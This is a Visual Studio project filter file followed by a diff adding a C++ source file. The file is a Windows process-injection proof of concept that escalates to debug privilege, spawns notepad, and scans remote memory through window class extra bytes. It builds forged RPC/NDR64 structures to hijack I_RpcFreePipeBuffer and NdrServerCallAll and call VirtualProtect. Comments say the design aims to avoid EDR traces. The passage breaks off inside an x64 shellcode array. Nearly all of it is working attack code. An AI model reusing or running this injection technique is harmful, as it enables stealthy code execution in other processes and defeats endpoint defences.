<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="源文件">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="头文件">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="资源文件">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="framework.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="targetver.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Resource.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="shit.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="teb_def.h">
|
||||
<Filter>源文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="rpc.h">
|
||||
<Filter>源文件</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="shit.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="sunday.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="shit.rc">
|
||||
<Filter>资源文件</Filter>
|
||||
</ResourceCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Image Include="small.ico">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
<Image Include="shit.ico">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
777
shit_2.cpp
Normal file
777
shit_2.cpp
Normal file
@@ -0,0 +1,777 @@
|
||||
// shit.cpp : 定义应用程序的入口点。
|
||||
//
|
||||
|
||||
#include "framework.h"
|
||||
#include "shit.h"
|
||||
#include <windows.h>
|
||||
#include <iostream>
|
||||
#include "teb_def.h"
|
||||
#include "rpc.h"
|
||||
PVOID
|
||||
SundaySearch_ByProcess(HANDLE ProcesHandle, char* pattern, PVOID address,
|
||||
SIZE_T readSize);
|
||||
|
||||
PVOID
|
||||
LookupTagClsAddressByProcess(HANDLE ProcessHandle) {
|
||||
#ifdef _WIN64
|
||||
#define START_ADDRESS (PVOID)0x00000000010000
|
||||
#define END_ADDRESS (0x00007FF8F2580000 - 0x00000000010000)
|
||||
#else
|
||||
#define START_ADDRESS (PVOID)0x10000
|
||||
#define END_ADDRESS (0x7FFF0000 - 0x10000)
|
||||
#endif
|
||||
typedef LONG(NTAPI * FnZwQueryVirtualMemory)(HANDLE, PVOID, int, PVOID,
|
||||
SIZE_T, PSIZE_T);
|
||||
static FnZwQueryVirtualMemory ZwQueryVirtualMemory =
|
||||
(FnZwQueryVirtualMemory)GetProcAddress(LoadLibrary(L"ntdll.dll"),
|
||||
"ZwQueryVirtualMemory");
|
||||
if (!ZwQueryVirtualMemory) {
|
||||
std::cerr << "ZwQueryVirtualMemory GetProcAddress failed: "
|
||||
<< GetLastError() << std::endl;
|
||||
return 0;
|
||||
}
|
||||
MEMORY_BASIC_INFORMATION MemoryBasicInfo = {0};
|
||||
PVOID CurrentAddress = START_ADDRESS;
|
||||
uint64_t TheTagClsAddress = 0;
|
||||
SIZE_T BytesReturned = 0;
|
||||
|
||||
while (true) {
|
||||
BOOLEAN ContinueEnum = FALSE;
|
||||
|
||||
RtlZeroMemory(&MemoryBasicInfo, sizeof(MemoryBasicInfo));
|
||||
|
||||
auto ntStatus = ZwQueryVirtualMemory(
|
||||
ProcessHandle, CurrentAddress, 0, &MemoryBasicInfo,
|
||||
sizeof(MEMORY_BASIC_INFORMATION), &BytesReturned);
|
||||
|
||||
if (ntStatus != 0) break;
|
||||
|
||||
do {
|
||||
if (MemoryBasicInfo.State != MEM_COMMIT) {
|
||||
break;
|
||||
}
|
||||
if (MemoryBasicInfo.Type != MEM_PRIVATE &&
|
||||
MemoryBasicInfo.Type != MEM_MAPPED) {
|
||||
break;
|
||||
}
|
||||
|
||||
// 自己的是PAGE_READWRITE 别人的是PAGE_READONLY
|
||||
if (MemoryBasicInfo.Protect != PAGE_READONLY) {
|
||||
break;
|
||||
}
|
||||
|
||||
TheTagClsAddress = (uint64_t)SundaySearch_ByProcess(
|
||||
ProcessHandle, (char*)"13 37 CC A0 A0 68 75 6F 6A 69",
|
||||
(UCHAR*)CurrentAddress, MemoryBasicInfo.RegionSize);
|
||||
if (TheTagClsAddress != NULL) {
|
||||
break;
|
||||
}
|
||||
|
||||
} while (FALSE);
|
||||
if (TheTagClsAddress != 0) {
|
||||
break;
|
||||
}
|
||||
CurrentAddress = (PVOID)((ULONG_PTR)MemoryBasicInfo.BaseAddress +
|
||||
MemoryBasicInfo.RegionSize);
|
||||
}
|
||||
return (PVOID)TheTagClsAddress;
|
||||
}
|
||||
|
||||
void printHex(const char* name, const void* data, size_t size) {
|
||||
printf("%s: ", name);
|
||||
const unsigned char* byteData = (const unsigned char*)data;
|
||||
for (size_t i = 0; i < size; ++i) {
|
||||
printf("%02X ", byteData[i]);
|
||||
}
|
||||
printf("\n");
|
||||
}
|
||||
|
||||
struct _NDR64_PARAM_FLAGS {
|
||||
unsigned __int16 MustSize : 1;
|
||||
unsigned __int16 MustFree : 1;
|
||||
unsigned __int16 IsPipe : 1;
|
||||
unsigned __int16 IsIn : 1;
|
||||
unsigned __int16 IsOut : 1;
|
||||
unsigned __int16 IsReturn : 1;
|
||||
unsigned __int16 IsBasetype : 1;
|
||||
unsigned __int16 IsByValue : 1;
|
||||
unsigned __int16 IsSimpleRef : 1;
|
||||
unsigned __int16 IsDontCallFreeInst : 1;
|
||||
unsigned __int16 SaveForAsyncFinish : 1;
|
||||
unsigned __int16 IsPartialIgnore : 1;
|
||||
unsigned __int16 IsForceAllocate : 1;
|
||||
unsigned __int16 Reserved : 2;
|
||||
unsigned __int16 UseCache : 1;
|
||||
};
|
||||
typedef const void* PNDR64_FORMAT;
|
||||
typedef struct _NDR64_PARAM_FORMAT {
|
||||
void* Type;
|
||||
_NDR64_PARAM_FLAGS Attributes;
|
||||
unsigned __int16 Reserved;
|
||||
unsigned __int32 StackOffset;
|
||||
};
|
||||
/*
|
||||
.rdata:00007FFF3A2784E0 ?Ndr64SimpleTypeBufferSize@@3QBEB db 0 ; DATA XREF:
|
||||
Ndr64ComplexStructBufferSize(_MIDL_STUB_MESSAGE *,uchar *,void const
|
||||
*)+31B↑o .rdata:00007FFF3A2784E0 ;
|
||||
Ndr64UnionBufferSize(_MIDL_STUB_MESSAGE *,uchar *,void const *)+B8↑o ...
|
||||
.rdata:00007FFF3A2784E1 db 1
|
||||
.rdata:00007FFF3A2784E2 db 1
|
||||
.rdata:00007FFF3A2784E3 db 2
|
||||
.rdata:00007FFF3A2784E4 db 2
|
||||
.rdata:00007FFF3A2784E5 db 4
|
||||
.rdata:00007FFF3A2784E6 db 4
|
||||
.rdata:00007FFF3A2784E7 db 8
|
||||
.rdata:00007FFF3A2784E8 db 8
|
||||
*/
|
||||
enum class _Ndr64SimpleTypeBUfferSizeMap {
|
||||
kChar = 0,
|
||||
kShort = 2,
|
||||
kint32 = 4,
|
||||
kint64 = 6
|
||||
};
|
||||
void PrivilegeEscalation() {
|
||||
HANDLE hToken;
|
||||
LUID luid;
|
||||
TOKEN_PRIVILEGES tp;
|
||||
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
|
||||
&hToken);
|
||||
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid);
|
||||
tp.PrivilegeCount = 1;
|
||||
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
tp.Privileges[0].Luid = luid;
|
||||
AdjustTokenPrivileges(hToken, 0, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
|
||||
}
|
||||
int APIENTRY wWinMain(_In_ HINSTANCE hInstance,
|
||||
_In_opt_ HINSTANCE hPrevInstance, _In_ LPWSTR lpCmdLine,
|
||||
_In_ int nCmdShow) {
|
||||
PrivilegeEscalation();
|
||||
// 创建notepad进程,泄露就泄露了 去他妈的
|
||||
STARTUPINFO si = {sizeof(si)};
|
||||
PROCESS_INFORMATION pi;
|
||||
if (!CreateProcess(L"L:\\Windows\\system32\\notepad.exe", NULL, NULL, NULL,
|
||||
FALSE, 0, NULL, NULL, &si, &pi)) {
|
||||
std::cerr << "CreateProcess failed: " << GetLastError() << std::endl;
|
||||
return 1;
|
||||
}
|
||||
// 等完全起来
|
||||
WaitForInputIdle(pi.hProcess, INFINITE);
|
||||
|
||||
// 获取notepad进程中edit窗口的句柄
|
||||
HWND hwndNotepad = FindWindow(L"Notepad", NULL);
|
||||
HWND hwndEdit = FindWindowEx(hwndNotepad, NULL, L"Edit", NULL);
|
||||
if (!hwndEdit) {
|
||||
std::cerr << "FindWindowEx failed: " << GetLastError() << std::endl;
|
||||
return 1;
|
||||
}
|
||||
|
||||
// 注册一个带有额外类内存的窗口类
|
||||
// https://learn.microsoft.com/en-us/windows/win32/winmsg/about-window-classes?redirectedfrom=MSDN
|
||||
WNDCLASSEX wcex = {sizeof(wcex)};
|
||||
wcex.lpfnWndProc = DefWindowProc;
|
||||
wcex.cbClsExtra = wcex.cbWndExtra = 1024 * 64;
|
||||
wcex.lpszClassName = L"CustomWindowClass";
|
||||
wcex.hInstance = hInstance;
|
||||
if (!RegisterClassEx(&wcex)) {
|
||||
std::cerr << "RegisterClassEx failed: " << GetLastError() << std::endl;
|
||||
return 1;
|
||||
}
|
||||
|
||||
// 创建一个仅消息窗口
|
||||
HWND hwndMessage =
|
||||
CreateWindowExW(0, L"CustomWindowClass", NULL, 0, 0, 0, 0, 0,
|
||||
HWND_MESSAGE, NULL, hInstance, NULL);
|
||||
if (!hwndMessage) {
|
||||
std::cerr << "CreateWindowEx failed: " << GetLastError() << std::endl;
|
||||
return 1;
|
||||
}
|
||||
ShowWindow(hwndMessage, SW_SHOW);
|
||||
UpdateWindow(hwndMessage);
|
||||
#ifdef _WIN64
|
||||
typedef LONG(NTAPI * FnNtUserSetClassLong)(HWND hWnd, INT Offset,
|
||||
LONG64 dwNewLong, BOOL Ansi);
|
||||
#else
|
||||
typedef LONG(NTAPI * FnNtUserSetClassLong)(HWND hWnd, INT Offset,
|
||||
LONG dwNewLong, BOOL Ansi);
|
||||
|
||||
#endif // _WIN64
|
||||
|
||||
FnNtUserSetClassLong NtUserSetClassLong =
|
||||
(FnNtUserSetClassLong)GetProcAddress(LoadLibrary(L"win32u.dll"),
|
||||
"NtUserSetClassLong");
|
||||
|
||||
if (!NtUserSetClassLong) {
|
||||
std::cerr << "NtUserSetClassLong GetProcAddress failed: "
|
||||
<< GetLastError() << std::endl;
|
||||
return 1;
|
||||
}
|
||||
|
||||
/*
|
||||
typedef LONG(NTAPI* FnNtUserSetClassLongPtr)(HWND hwnd, INT offset, LONG_PTR
|
||||
newval, BOOL ansi); FnNtUserSetClassLongPtr NtUserSetClassLongPtr =
|
||||
(FnNtUserSetClassLongPtr)GetProcAddress(LoadLibrary(L"win32u.dll"),
|
||||
"NtUserSetClassLongPtr");
|
||||
|
||||
if (!NtUserSetClassLongPtr) {
|
||||
std::cerr << "NtUserSetClassLongPtr GetProcAddress failed: " <<
|
||||
GetLastError() << std::endl; return 1;
|
||||
}
|
||||
*/
|
||||
const char shitInput[] = {0x13, 0x37, 0xCC, 0xA0, 0xA0,
|
||||
0x68, 0x75, 0x6f, 0x6a, 0x69};
|
||||
// https://github.com/wine-mirror/wine/blob/1134834b7478632da9c60f36d4a7cf254729242c/dlls/win32u/class.c#L705
|
||||
// offset = 0
|
||||
for (size_t i = 0; i < sizeof(shitInput); i++) {
|
||||
NtUserSetClassLong(hwndMessage, i, shitInput[i], FALSE);
|
||||
}
|
||||
// 通过查找TEB->Win32ClientInfo->phkCurrent结构下的AllocationBase来确定窗口内存的基址
|
||||
// 只是缩小范围,其实不如直接virtualqueryex,我实在是不知道这里要怎么定位到notepad的地址.如果用win32
|
||||
// api edr绝对有痕迹 这里就是用readmemory
|
||||
auto TheTagClsAddress = LookupTagClsAddressByProcess((HANDLE)-1);
|
||||
if (TheTagClsAddress == 0) {
|
||||
std::cerr << "TheTagClsAddress failed: " << GetLastError() << std::endl;
|
||||
return 1;
|
||||
}
|
||||
auto TheNotepadTagClsAddress = LookupTagClsAddressByProcess(pi.hProcess);
|
||||
if (TheNotepadTagClsAddress == 0) {
|
||||
std::cerr << "TheNotepadTagClsAddress failed: " << GetLastError()
|
||||
<< std::endl;
|
||||
return 1;
|
||||
}
|
||||
for (size_t i = 0; i < sizeof(shitInput); i++) {
|
||||
NtUserSetClassLong(hwndMessage, i, 0x0, FALSE);
|
||||
}
|
||||
// 这个作者抄了这玩意
|
||||
// https://modexp.wordpress.com/2020/07/07/wpi-wm-paste/
|
||||
// https://github.com/odzhan/injection/blob/master/eminject/poc.c#L38
|
||||
|
||||
/*
|
||||
RPC_STATUS __stdcall I_RpcFreePipeBuffer(RPC_MESSAGE *Message) {
|
||||
(*(void (__fastcall **)(RPC_BINDING_HANDLE, RPC_MESSAGE *))(*(_QWORD
|
||||
*)Message->Handle + 0x80))( //Message->Handle + 0x80 = NdrServerCallAll
|
||||
Message->Handle, // Message->Handle = PRPC_MESSAGE pRpcMsg
|
||||
Message);
|
||||
return 0;
|
||||
}
|
||||
*/
|
||||
|
||||
/*
|
||||
void __stdcall NdrServerCallAll(PRPC_MESSAGE pRpcMsg)
|
||||
{
|
||||
struct _MIDL_SERVER_INFO_ **RpcInterfaceInformation; // rax
|
||||
unsigned int v2; // [rsp+50h] [rbp+8h] BYREF
|
||||
|
||||
RpcInterfaceInformation = (struct _MIDL_SERVER_INFO_
|
||||
**)pRpcMsg->RpcInterfaceInformation; v2 = 0;
|
||||
((void (__stdcall *)(void *, void *, struct _RPC_MESSAGE *, struct
|
||||
_MIDL_SERVER_INFO_ *, int (*const *)(void), struct _MIDL_SYNTAX_INFO *,
|
||||
unsigned int *))Ndr64StubWorker)( 0i64, 0i64, pRpcMsg,
|
||||
RpcInterfaceInformation[0xA],
|
||||
RpcInterfaceInformation[0xA]->DispatchTable,
|
||||
RpcInterfaceInformation[0xA]->pSyntaxInfo + 1,
|
||||
&v2);
|
||||
}
|
||||
*/
|
||||
// 不可以用NdrServerCall2的原因是需要调用PerformRpcInitialization。
|
||||
const auto hRpcRt4 = LoadLibraryA("rpcrt4.dll");
|
||||
|
||||
const auto theNdrServerCallAllAddress =
|
||||
(uint64_t)GetProcAddress(hRpcRt4, "NdrServerCallAll");
|
||||
|
||||
const auto theI_RpcFreePipeBufferAddr =
|
||||
GetProcAddress(hRpcRt4, "I_RpcFreePipeBuffer");
|
||||
const auto theVirtualProtectAddr = (void*)VirtualProtect;
|
||||
|
||||
// PRPC_MESSAGE->Handle
|
||||
/*
|
||||
const auto fnInitRpcMessageHandle = [&](void* localStartAddress, void*
|
||||
remoteStartAddress, void* callAddress) -> void { static const auto maxSize =
|
||||
sizeof(RPC_MESSAGE) + 0x100 + 0x80 + 0x80; const auto tempBuffer = new
|
||||
char[maxSize]; memset(tempBuffer, 0x0, maxSize); const auto
|
||||
remote_notepad_rpc_Message = (PRPC_MESSAGE)((uint64_t)remoteStartAddress);
|
||||
const auto remote_notepad_rpc_Message_handle =
|
||||
(void*)((uint64_t)remote_notepad_rpc_Message + sizeof(RPC_MESSAGE));
|
||||
//这里会是RPC_MESSAGE开头
|
||||
|
||||
const auto remote_notepad_rpc_RpcInterfaceInformation =
|
||||
(void*)((uint64_t)remote_notepad_rpc_Message_handle + 0x100); const auto
|
||||
remote_notepad_rpc_RpcInterfaceInformation_DisPathTable =
|
||||
(void*)((uint64_t)remote_notepad_rpc_RpcInterfaceInformation + 0x80); const
|
||||
auto remote_notepad_rpc_RpcInterfaceInformation_DisPathTable_Dispath =
|
||||
(void*)((uint64_t)remote_notepad_rpc_RpcInterfaceInformation_DisPathTable +
|
||||
0x80);
|
||||
|
||||
const auto local_rpc_Message = (PRPC_MESSAGE)((uint64_t)tempBuffer);
|
||||
const auto local_rpc_Message_handle =
|
||||
(void*)((uint64_t)local_rpc_Message +
|
||||
sizeof(RPC_MESSAGE));//这里会是RPC_MESSAGE开头,很重要,给后面的local_rpc_dispath_table_dispath_table用
|
||||
|
||||
const auto local_rpc_RpcInterfaceInformation =
|
||||
(void*)((uint64_t)local_rpc_Message_handle + sizeof(RPC_MESSAGE) + 0x100);
|
||||
const auto local_rpc_RpcInterfaceInformation_DisPathTable =
|
||||
(void*)((uint64_t)local_rpc_RpcInterfaceInformation + 0x80); const auto
|
||||
local_rpc_RpcInterfaceInformation_DisPathTable_Dispath =
|
||||
(void*)((uint64_t)local_rpc_RpcInterfaceInformation_DisPathTable + 0x80);
|
||||
|
||||
local_rpc_Message->ProcNum = 0; //这里填0
|
||||
local_rpc_Message->RpcInterfaceInformation =
|
||||
(void**)remote_notepad_rpc_RpcInterfaceInformation;
|
||||
local_rpc_Message->Handle = (void*)remote_notepad_rpc_Message_handle;
|
||||
// 填第一次Message->Handle + 0x80的地址 :
|
||||
*(uint64_t*)((uint64_t)local_rpc_Message_handle + 0x80) =
|
||||
theNdrServerCallAllAddress;
|
||||
|
||||
auto wtf = ((uint64_t)local_rpc_RpcInterfaceInformation + 0xA0 *
|
||||
sizeof(void*));
|
||||
*(uint32_t*)(wtf + 0x0) = 0x80;//长度
|
||||
*(uint64_t*)(wtf + 0x8) =
|
||||
(uint64_t)remote_notepad_rpc_RpcInterfaceInformation_DisPathTable;//dispathPath(也是一个数组)
|
||||
|
||||
auto local_rpc_dispath_table =
|
||||
(uint64_t*)(local_rpc_RpcInterfaceInformation_DisPathTable);
|
||||
*(uint32_t*)((uint64_t)local_rpc_dispath_table + 0x0) = 1;//
|
||||
dispath_count
|
||||
*(uint64_t*)((uint64_t)local_rpc_dispath_table + 0x4) =
|
||||
(uint64_t)remote_notepad_rpc_RpcInterfaceInformation_DisPathTable_Dispath;
|
||||
// dispath_dispath
|
||||
|
||||
auto local_rpc_dispath_table_dispath_table =
|
||||
(uint64_t*)(local_rpc_RpcInterfaceInformation_DisPathTable_Dispath);
|
||||
*(uint64_t*)((uint64_t)local_rpc_dispath_table_dispath_table + 0x0) =
|
||||
(uint64_t)callAddress; memcpy(tempBuffer, local_rpc_Message, maxSize);
|
||||
// +8的原因是里面会读一次RCX这个傻逼指针,所以+8是给RCX指针的 32位给4
|
||||
auto baseIndex = (uint64_t)localStartAddress + 0x8 -
|
||||
(uint64_t)TheTagClsAddress; for (size_t i = 0; i < maxSize; i++)
|
||||
{
|
||||
NtUserSetClassLong(hwndMessage, i + baseIndex, tempBuffer[i],
|
||||
FALSE);
|
||||
}
|
||||
delete[] tempBuffer;
|
||||
};
|
||||
*/
|
||||
// const auto localrpcMessage = (PRPC_MESSAGE)((uint64_t)TheTagClsAddress +
|
||||
// 0x8); const auto remoterpcMessage =
|
||||
// (PRPC_MESSAGE)((uint64_t)TheNotepadTagClsAddress + 0x8);
|
||||
// +8的原因是里面会读一次RCX这个傻逼指针,所以+8是给RCX指针的 32位给4
|
||||
|
||||
/*
|
||||
fnInitRpcMessageHandle((void*)((uint64_t)TheTagClsAddress),
|
||||
(void*)((uint64_t)TheNotepadTagClsAddress),
|
||||
(void*)theNdrServerCallAllAddress);
|
||||
*/
|
||||
|
||||
// const auto local_rpc_Message_handle22 = (void*)((uint64_t)localrpcMessage
|
||||
// + sizeof(RPC_MESSAGE));
|
||||
// 现在再填一次local_rpc_Message_handle
|
||||
// fnInitRpcMessageHandle((void*)localrpcMessage->Handle,
|
||||
// (void*)remoterpcMessage, (void*)theVirtualProtectAddr);
|
||||
// +0指向自己 +8的地方
|
||||
// *(uint64_t*)((uint64_t)TheTagClsAddress + 0x0) =
|
||||
// (uint64_t)localrpcMessage;
|
||||
|
||||
/*
|
||||
char tempBuffer[8];
|
||||
memcpy(tempBuffer, &remoterpcMessage, 8);
|
||||
for (size_t i = 0; i < 8; i++)
|
||||
{
|
||||
NtUserSetClassLong(hwndMessage, i, tempBuffer[i], FALSE);
|
||||
}
|
||||
*/
|
||||
const auto allocShellcodeSize = 2048;
|
||||
char* tmpShellcode = (char*)malloc(allocShellcodeSize);
|
||||
memset(tmpShellcode, 0, allocShellcodeSize);
|
||||
char* editShellcode = (char*)malloc(allocShellcodeSize);
|
||||
memset(editShellcode, 0, allocShellcodeSize);
|
||||
// I_RpcFreePipeBuffer(Message)
|
||||
|
||||
// Message = EditControlPtr
|
||||
// Message->Handle = Shellcode
|
||||
// *Message->Handle = Shellcode
|
||||
*(ULONG_PTR*)tmpShellcode = (ULONG_PTR)TheNotepadTagClsAddress;
|
||||
|
||||
// *Message->Handle + 0x80 = NdrServerCallAll
|
||||
*(ULONG_PTR*)(tmpShellcode + 0x80) = (ULONG_PTR)theNdrServerCallAllAddress;
|
||||
|
||||
#define REMOTE_CLS_ADDRESS(x) \
|
||||
((ULONG_PTR)(x) - (ULONG_PTR)tmpShellcode + \
|
||||
(ULONG_PTR)TheNotepadTagClsAddress)
|
||||
|
||||
// NdrServerCallAll(pRpcMsg)
|
||||
// pRpcMsg = Shellcode
|
||||
RPC_MESSAGE* RpcMsg0 = (RPC_MESSAGE*)tmpShellcode;
|
||||
RPC_SERVER_INTERFACE* RpcInterfaceInfo0 =
|
||||
(RPC_SERVER_INTERFACE*)(tmpShellcode + 0x88);
|
||||
MIDL_SERVER_INFO* RpcSrvInfo0 =
|
||||
(MIDL_SERVER_INFO*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE));
|
||||
PVOID* DispatchTable0 =
|
||||
(PVOID*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) +
|
||||
sizeof(MIDL_SERVER_INFO));
|
||||
MIDL_SYNTAX_INFO* SyntaxInfo0 =
|
||||
(MIDL_SYNTAX_INFO*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) +
|
||||
sizeof(MIDL_SERVER_INFO) + sizeof(PVOID));
|
||||
MIDL_STUB_DESC* StubDesc0 =
|
||||
(MIDL_STUB_DESC*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) +
|
||||
sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) +
|
||||
sizeof(MIDL_SYNTAX_INFO) * 2);
|
||||
ULONG_PTR* FmtStrOffset0 =
|
||||
(ULONG_PTR*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) +
|
||||
sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) +
|
||||
sizeof(MIDL_SYNTAX_INFO) * 2 + sizeof(MIDL_STUB_DESC));
|
||||
NDR64_PROC_FORMAT* ProcStr0 =
|
||||
(NDR64_PROC_FORMAT*)(tmpShellcode + 0x88 +
|
||||
sizeof(RPC_SERVER_INTERFACE) +
|
||||
sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) +
|
||||
sizeof(MIDL_SYNTAX_INFO) * 2 +
|
||||
sizeof(MIDL_STUB_DESC) + sizeof(ULONG_PTR));
|
||||
|
||||
//_NDR_PROC_CONTEXT Ndr+Proc
|
||||
DispatchTable0[0] = (PVOID)theNdrServerCallAllAddress;
|
||||
RpcSrvInfo0->DispatchTable =
|
||||
(SERVER_ROUTINE*)REMOTE_CLS_ADDRESS(DispatchTable0);
|
||||
|
||||
FmtStrOffset0[0] = (ULONG_PTR)REMOTE_CLS_ADDRESS(ProcStr0);
|
||||
(SyntaxInfo0 + 1)->FmtStringOffset =
|
||||
(USHORT*)REMOTE_CLS_ADDRESS(FmtStrOffset0);
|
||||
RpcSrvInfo0->pSyntaxInfo =
|
||||
(MIDL_SYNTAX_INFO*)REMOTE_CLS_ADDRESS(SyntaxInfo0);
|
||||
RpcSrvInfo0->pStubDesc = (MIDL_STUB_DESC*)REMOTE_CLS_ADDRESS(StubDesc0);
|
||||
RpcSrvInfo0->DispatchTable =
|
||||
(SERVER_ROUTINE*)REMOTE_CLS_ADDRESS(DispatchTable0);
|
||||
// RpcSrvInfo0->FmtStringOffset = (unsigned short*)0x1337;
|
||||
RpcSrvInfo0->ProcString = (PFORMAT_STRING)0xAAAA;
|
||||
|
||||
|
||||
RpcInterfaceInfo0->InterpreterInfo =
|
||||
(MIDL_SERVER_INFO*)REMOTE_CLS_ADDRESS(RpcSrvInfo0);
|
||||
RpcMsg0->RpcInterfaceInformation =
|
||||
(RPC_SERVER_INTERFACE*)REMOTE_CLS_ADDRESS(RpcInterfaceInfo0);
|
||||
RpcMsg0->ProcNum = 0;
|
||||
RpcMsg0->RpcFlags = 0x1000;
|
||||
|
||||
// rpcmsg0->Handle的handle已经在上面设置为TheNotepadTagClsAddress了.所以要在TheNotepadTagClsAddress
|
||||
// + 0x100的位置设置virtualprotect
|
||||
*(ULONG_PTR*)(tmpShellcode + 0x100) =
|
||||
(ULONG_PTR)VirtualProtect; // 为了通过Ndr64pServerUnMarshal最后的那一段
|
||||
//*(ULONG_PTR*)(tmpShellcode + 0x160) = (ULONG_PTR)tempVar;
|
||||
////为了通过Ndr64pServerUnMarshal最后的那一段
|
||||
|
||||
|
||||
auto calcOffset = 0x88 + sizeof(RPC_SERVER_INTERFACE) +
|
||||
sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) +
|
||||
sizeof(MIDL_SYNTAX_INFO) * 2 + sizeof(MIDL_STUB_DESC) +
|
||||
sizeof(ULONG_PTR) + sizeof(NDR64_PROC_FORMAT);
|
||||
// auto remoteCallAddr = REMOTE_CLS_ADDRESS(tmpShellcode + calcOffset);
|
||||
//*(ULONG_PTR*)(tmpShellcode + calcOffset) = remoteCallAddr;
|
||||
// calcOffset += sizeof(ULONG_PTR);
|
||||
|
||||
/*
|
||||
* https://github.com/ufwt/windows-XP-SP1/blob/d521b6360fcff4294ae6c5651c539f1b9a6cbb49/XPSP1/NT/com/rpc/ndr64/mulsyntx.cxx#L1152
|
||||
if ( pParamFlags->IsIn ||
|
||||
(pParamFlags->IsReturn && !pNdr64Flags->HasComplexReturn) ||
|
||||
pParamFlags->IsPipe )
|
||||
continue;
|
||||
*/
|
||||
std::vector<_NDR64_PARAM_FORMAT*> theParamTypeAddress;
|
||||
// type的指针,这个type会读两次 **typeaddr
|
||||
auto fnSetNdr64Param = [&]() {
|
||||
static auto currentCopyCount = 0;
|
||||
auto ndr64Param = (_NDR64_PARAM_FORMAT*)(tmpShellcode + calcOffset);
|
||||
ndr64Param->Attributes.IsIn = true;
|
||||
ndr64Param->Attributes.IsBasetype = true;
|
||||
// auto typeAddress = tmpShellcode + calcOffset;
|
||||
// theParamTypeAddress.push_back(typeAddress);
|
||||
// ndr64Param->Type = (void*)REMOTE_CLS_ADDRESS(typeAddress);
|
||||
ndr64Param->StackOffset = currentCopyCount * 4;
|
||||
currentCopyCount += 1;
|
||||
// 这个没用,因为不走IsSimpleRef,simpleref那段内存是read only没办法赋值
|
||||
// https://github.com/ufwt/windows-XP-SP1/blob/d521b6360fcff4294ae6c5651c539f1b9a6cbb49/XPSP1/NT/com/rpc/ndr64/srvcall.cxx#L694C31-L694C43
|
||||
//*(char*)(typeAddress) = (char)_Ndr64SimpleTypeBUfferSizeMap::kint64;
|
||||
// calcOffset += sizeof(_NDR64_PARAM_FORMAT);
|
||||
theParamTypeAddress.push_back(ndr64Param);
|
||||
calcOffset += sizeof(_NDR64_PARAM_FORMAT);
|
||||
};
|
||||
|
||||
const auto virtualProtectParamSize = 8 * 4;
|
||||
for (size_t i = 0; i < virtualProtectParamSize / 4; i++) {
|
||||
fnSetNdr64Param();
|
||||
}
|
||||
auto paramsBuffer = tmpShellcode + calcOffset;
|
||||
// 设置参数
|
||||
RpcMsg0->Buffer = (void*)REMOTE_CLS_ADDRESS(paramsBuffer);
|
||||
RpcMsg0->BufferLength = virtualProtectParamSize; // virtualprotect的参数
|
||||
calcOffset += RpcMsg0->BufferLength;
|
||||
|
||||
// Make HandleType to 0
|
||||
ProcStr0->Flags = 1;
|
||||
ProcStr0->StackSize = virtualProtectParamSize;
|
||||
ProcStr0->NumberOfParams = RpcMsg0->BufferLength / 4;
|
||||
|
||||
// https://www.exploit-db.com/shellcodes/49819
|
||||
// 没办法把shellcode写到cls内存里面,因为那个是map的属性.所以提前写到编辑框里面
|
||||
unsigned char payload[] =
|
||||
"\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b"
|
||||
"\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b"
|
||||
"\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08"
|
||||
"\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2"
|
||||
